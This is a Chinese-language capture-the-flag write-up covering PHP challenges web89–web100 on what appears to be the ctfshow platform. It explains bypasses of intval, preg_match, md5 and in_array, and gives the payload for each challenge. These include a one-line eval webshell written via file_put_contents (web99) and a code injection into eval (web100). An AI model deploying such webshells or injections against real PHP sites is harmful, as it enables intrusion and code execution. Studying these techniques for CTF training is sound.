web89
intval函数:如果他的值为一个数组,只要数组里面有值,那么不论值的数量,返回值都为1,空数组则返回0
preg_match()函数:利用数组绕过正则匹配,使其返回值发生错误而为false
正则表达式:描述了一种字符串匹配的模式,可以用来检查一个串是否含有某种子串、将匹配的子串做替换或者从某个串中取出符合某个条件的子串等。
?num[]=1
web90
由代码可知传入的num参数既要绕过第一个if语句也应该满足第二个if语句这样才能输出flag
由第一个if语句可知我们不能直接传入4467这个数由第二个if语句中intval函数可知
intval($num, 0) 表示将变量 $num 转换为整数,根据 $num 的前缀来确定进制。如果转换后的整数值等于 4476,则可以尝试找到适合的前缀和进制
因此符合intval($num, 0)==4476 条件的输入方式有很多种可以通过进制转换 例:?num=0x117c
或者在数字后面加上字母或者加上小数(因为intval()函数只取整数部分且如果没有前缀会默认是十进制)
?num=4476.0
?num=4476a
web91
preg_match('/^php$/im', $a)此部分中 /i 表示匹配的时候不区分大小写 /m 表示多行匹配 ^$符号表示匹配每一行的开头结尾
第一个if的嵌套if语句条件preg_match('/^php$/i', $a)
对比以上两行代码可知第二个if条件中没有了 /m 不能进行多行匹配因此我们可以在传入的参数中第一行没有php第二行有只要符合这种形式均能得到flag 例:?cmd=q%0Aphp(在url中换行符为%0A因为不区分大小写所以对PHP的写法没有要求)
web92
全等比较 (===
) 不会进行类型转换,而相等比较 (==
) 会进行类型转换
web90 $num === "4476"
web92 $num==4476
试试八进制,十六进制
web93
看到第一个条件是首先排除不能直接让参数等于4476
然后将第二三个条件结合起来看发现也不能通过其他进制的方法(因为不能有大小写字母)
如果考虑十进制且intval()
函数只取整数部分所以我们可以通过在4476后加上小数部分来得到flag
web94
if(
!strpos($num, "0"
)){
die("no no no!");
感叹号是取反(取当前结果的反面)的意思,所以在这个地方需要返回的值不能为0,也就是说0不能在第一位。因此我们可以在八进制数010574基础上做处理可以在开头加上换行符%0a
或空格
另一种方法:当我们仔细观察这段代码发现是全等比较因此我们可以输入4476.0来绕过
web95
if(preg_match("/[a-z]|\./i", $num))//用于判断在num中是否存在英文字母或小数点
if(intval($num,0)===4476)//全等比较,无法进行类型转换
根据对代码的解释我们可知我们要想得到flag传入的参数需要满足
相等比较不能等于4476且不能含有英文字母或小数点,要含有0且在首位不能是0
由上可得
num= 0101574
或num=%0a010574
web96
可以传入flag.php文件的绝对路径(flag.php文件的绝对路径的获取方法可以传入除了flag.php以外的其它任意值因为不存在所以会报错)
web97
利用md5()函数无法处理数组,如果传入的是个数组,md5处理后都返回NULL,所以第二个if处的强比较可以相等.
a[]=1&b[]=0
web98
由代码可知这段代码主要使用了三目运算符? :来进行条件判断和赋值操作
$_GET ? $_GET = &$_POST : 'flag';由这段代码可知如果存在get传参则get所传的参数会被post参数覆盖
$_GET['flag'] == 'flag' ? $_GET = &$_COOKIE : 'flag';
$_GET['flag'] == 'flag' ? $_GET = &$_SERVER : 'flag';
这两行代码对最后flag的输出没有影响因为最后源代码的显示主要看get参数HTTP_FLAG=flag是否成立
highlight_file($_GET['HTTP_FLAG'] == 'flag' ? $flag : __FILE__);
但是我们不能直接get传参HTTP_FLAG=flag因为如果get传参存在的话就会被post覆盖所以我们可以get传参任意一个数(随便传但是必须有)然后再post传参HTTP_FLAG=flag覆盖get所传参数的值便可以显示flag
web99
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
$allow = array(); //把allow变量设置为数组。
array_push() - 向数组尾部插入一个或多个元素。
in_array() - 搜索数组中是否存在指定的值。函数有缺陷,若没有设置第三个参数,则存在强制转换(类比==)比如数组$allow含有1,in_array(1.php, $allow)为真。
file_put_contents(文件名,写入的数据,mode,context)
payload:?n=5.php content=<?php @eval($_POST['hack']);?>
web100
以上代码表示只有$v0=1且v2中不能含有分号v3要有分号
$v0 = is_numeric($v1) and is_numeric($v2) and is_numeric($v3);在这段代码中只需要v1有数字即可因为赋值操作的优先级大于and
eval("$v2('ctfshow')$v3");这段代码会执行括号里的内容因此我们可以利用括号中的$v2('ctfshow')$v3来构造可以输出flag的函数
//flag in class ctfshow;由题目中的注释可知flag在ctfshow中因此我们只需要输出ctfshow即可
get传参传入?v1=1&v2=var_dump($ctfshow)/*&v3=*/;